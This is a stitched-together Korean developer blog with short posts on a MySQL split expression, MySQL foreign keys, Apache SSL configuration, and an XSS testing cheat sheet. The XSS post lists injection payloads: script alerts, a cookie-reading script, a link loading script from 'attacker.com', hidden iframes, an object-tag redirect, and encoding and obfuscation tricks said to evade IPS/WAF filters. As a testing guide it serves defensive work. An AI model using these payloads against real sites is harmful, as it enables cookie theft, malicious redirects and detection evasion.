2014년 7월 대전에서
[MySQL] split 구현
REPLACE(SUBSTRING(SUBSTRING_INDEX(text, spText, num),LENGTH(SUBSTRING_INDEX(text, spText,num-1)) + 1),spText, '')
변경할 문자열 text
split할 문자열 spText
가져오고싶은 배열 번호 num
'개발 > MySQL' 카테고리의 다른 글
MySQL 백업 및 복원 방법 (0) | 2024.08.07 |
---|---|
[MySQL] FK 설정 (0) | 2017.02.20 |
[MySQL] FK 설정
ALTER TABLE 테이블이름
ADD CONSTRAINT FK이름 FOREIGN KEY (key이름) REFERENCES 참조테이블 (참조컬럼)
ON UPDATE CASCADE ON DELETE CASCADE;
UPDATE CASCADE : 참조 데이터가 업데이트되면 해당데이터가 같이 업데이트 됨
DELETE CASCADE : 참조 데이터가 삭제되면 해당 데이터가 같이 삭제됨
'개발 > MySQL' 카테고리의 다른 글
MySQL 백업 및 복원 방법 (0) | 2024.08.07 |
---|---|
[MySQL] split 구현 (0) | 2017.02.20 |
XSS
XSS ( Cross Site Scripting )
1. XSS Test
일반적으로 게시판에
"><script> alert("XSS") </script>
"><iframe src="javascript:alert('XSS');"></iframe>
라고 입력하면 XSS 메시지 창이 뜨며, XSS 취약점이 있는 것으로 판단된다.
그 외 예제) 사용자 쿠키 값 획득
<script>alert(document.cookie)</script>
그 외 예제) 클릭 시 별도 지정한 URL로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>
2. iframe 태그
숨겨진 iframe을 이용해 URL로 이동
<iframe height=500 width=500 src="http://www.google.co.kr"></iframe>
<iframe src="http://www.google.co.kr" name="Click Here" width="0" height="0" frameborder="0"></iframe>
3. object 태그
지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동
<object width=0 height=0 style=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://www.google.go.kr></object>
c:\nosuchfile.mht 파일이 존재하지 않을 시 구글사이트로 이동됨
4. body 태그
<body onload=alert('body-XSS')>
5. div 태그
div 태그 이용한 이미지 삽입
<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test/jpg"></div>
※ position:absolute는 위치값 지정
※ left는 좌측으로 부터의 거리
※ top은 상단으로 부터의 거리
※ Z-index는 레이어의 순서를 지정함(숫자가 클 수록 위로 상승)
6. 인코딩 기법
공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띄지 않거나, IPS/WAF 등의 감지패턴을 우회하기 위해 인코딩
원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>
7. Obfuscated 기법
인코딩 기법과 유사함
<script language="javas-ript">
e = '0x00' + '5F';
str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
str = tmp = '';
for(i=0; i<str1.length; i+=3)
{
tmp = unescape(str1.slice(i,i+3));
str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}
document.write(str);
</script>
8. 기타 우회 방법
;</script><script>alert("xss");</script>
[apache] VirtualHost에 SSL 적용
<VirtualHost *:443>
ServerName blog.jgb.kr
SSLEngine on
SSLCertificateFile "인증서 경로"
SSLCertificateKeyFile "개인키 경로"
</VirtualHost>
※ 개인키 암호 제거
openssl rsa -in Inkey -out outkey